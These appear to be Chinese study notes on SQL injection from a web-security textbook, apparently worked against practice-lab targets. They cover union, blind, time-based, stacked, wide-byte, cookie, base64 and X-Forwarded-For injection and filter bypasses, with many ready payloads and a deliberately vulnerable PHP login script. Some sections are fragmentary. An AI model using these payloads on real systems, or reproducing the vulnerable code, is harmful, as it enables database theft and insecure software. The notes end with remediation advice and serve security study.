第四章Web安全原理剖析
4.1 SQL注入的基础
建议学习(菜鸟教程):https://www.runoob.com/sql/sql-function.html
4.1.3 与MySQL注入相关的知识点
在MySQL 5.0版本之后,MySQL默认在数据库中存放一个"information_schema"的数据库,在该库中,需记住三个表名,分别是SCHEMATA、TABLES和COLUMNS。
- SCHEMATA存储用户创建的所有数据库的库名,其中记录数据库库名的字段名为SCHEMA_NAME
- TABLES表存储用户创建的所有数据库的库名和表名,对应字段为TABLE_SCHEMA和TABLE_NAME
- COLUMNS表存储用户创建的所有数据库的库名、表名和字段名,对应字段为TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME
常用的MySQL查询语句和函数如下:
2. limit的用法
limit m,n
意思:从第m条记录开始,取n条记录(m从0开始)
3.需要记住的几个函数
- database():当前网站使用的数据库
- version():当前MySQL的版本
- user():当前MySQL的用户
4. 注释符
# 或 --空格 或 /**/
5.内联注释
形式如:
/*! code */
eg.
index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
4.1.4 Union注入
4.1.6 Boolean注入
目标:http://43.247.91.228:84/Less-8/
4.1.8 报错注入
此处利用uodatexml()演示
4.2 SQl注入进阶
4.2.1 时间注入攻击
时间盲注是利用sleep()或benchmark()等函数让MySQL的执行时间变长,多与IF(expr1,expr2,expr3)结合使用,含义:如果expr1是true,则返回值为expr2,否则返回值为expr3。
所有判断数据库名长度的语句应该为:
?id=1' and if(length(database())>2,sleep(5),1)
根据Burp Suite中页面的响应时间 ,可以判断条件的正确性。
?id=1'and if(length(database())>3,sleep(5),1)--+
判断名字:
?id=1'and if(substr(database(),1,1)='s',sleep(5),1)--+
通过preg_match判断参数ID中是否存在Union危险字符
4.2.3 堆叠查询注入攻击
堆叠注入的语句为:
';select if(substr(user(),1,1)='r',sleep(3),1)%23
获取数据库名:
';select if(substr(database(),1,1)='e',sleep(4),1)%23
获取表名:
';select if(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1,1,1)='e',sleep(4),1)%23
4.2.5 二次注入攻击
目标:http://43.247.91.228:84/Less-5/
先判断出表的字段数目:
?id=1' order by 3,'1
修改为4时出现错误:
则此表有3个字段。
。。。。。。
4.2.7 宽字节注入攻击
当数据库的编码为GBK时,可以使用宽字节注入,宽字节的格式是在地址后先加一个%df,再加单引号,因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”,所以这单引号逃逸成功,报出MySQL的错误。
ORDER BY 查询出字段数
三层嵌套 查列名:
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA =
(select database())
and
TABLE_NAME=(
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (
select database()
)limit 0,1
) limit 0,1
4.2.9 cookie注入攻击
1、cookie注入原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数
书上所讲即为URL中没有GET参数,但是通过Burp Suite抓包可以发现,其余即可按照Union注入完成。
4.2.11 base64注入攻击
目标地址:http://43.247.91.228:83/content-6/index.php?id=Mw==
%3d 是 = 的URL编码格式
访问id=1' 即id=MSc=时,页面返回错误
测试id = 1 and 1=1 和 1 and 1=2 ,对应的base64编码为MSBhbmQgMT0x和MSBhbmQgMT0y 。页面返回结果不同,故而存在SQL注入漏洞。根据order by判断出共8个字段。
再结合Union非法完成注入:
-1 union select database(),(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1),(select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA=database() and TABLE_NAME=(select TABLE_NAME from information_schema.tables where TABLE_SCHEMA=database() limit 0,1) limit 0,1),4,5,6,7,8
结果如下:
获取数据库名为 inject,第一张表为users,user表中的第一个字段为idusers,依此类推即可
4.2.13 XFF注入攻击
通过Burp Suite抓包,可以看到HTTP请求头中有一个头部参数X-Forward-For.X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。
使用Burp的Repeater模块对请求进行修改,分别修改X-Forwarded-For的值如下所示:
X-Forwarded-for: 127.0.0.1
X-Forwarded-for: 127.0.0.1’
X-Forwarded-for: 127.0.0.1' and 1=1#
X-Forwarded-for: 127.0.0.1' and 1=2#
发现有注入漏洞后,即可使用Union注入。
XFF注入代码如下:
<?php
header("Content-Type:text/html;charset=utf8");
$con=mysqli_connect("localhost","root","root","bank");
mysqli_set_charset($con,'utf8');
if(!$con){
echo "Connect failed : ".mysqli_connect_error();
}
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$sql="select * from login_ip where ip='$ip'";
$result=mysqli_query($con,$sql);
$row=mysqli_fetch_array($result);
if ($row) {
echo "id:".$row['id']."<br>";
echo "用户名:".$row['name']."<br>";
echo "登录地:".$row['address']."<br>";
}else{
echo "您正在新机器上登录账号,请确定是否为本人操作!";
}
echo '<hr><br>';
echo "查询的语句是:$sql";
?>
4.3 SQL注入绕过技术
4.3.1 大小写绕过注入
即修改关键字的大小写:
id = 1 and 1=1
id = 1 And 1=1
id =1 And 1=2
order by查询字段数量,测试:
Order by
4.3.2 双写绕过注入
假设过滤了关键字and ,则可以尝试输入为andand;
假设过滤了关键字or,则可以尝试ororder by。
4.3.3 编码绕过注入
and经过两次编码,
后续注入与Unin注入一致。。。。
4.3.4 内联注释绕过注入
关键字被拦截后,尝试使用内联注释绕过。格式为/*!code*/
后面与Union注入一致
4.3.5注入修复建议
常用修复方法有2种:
1.过滤危险字符
多数CMS(介绍:https://baike.so.com/doc/1031174-1090540.html)都采用过滤危险字符的方式,例如,采用正则表达式匹配union、sleep、load_file等关键字,如果匹配到,则退出程序。如80sec的防注入代码。。。。
2.使用预编译语句
其实使用PDO预编译语句,需要注意的是,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增、删、改、查。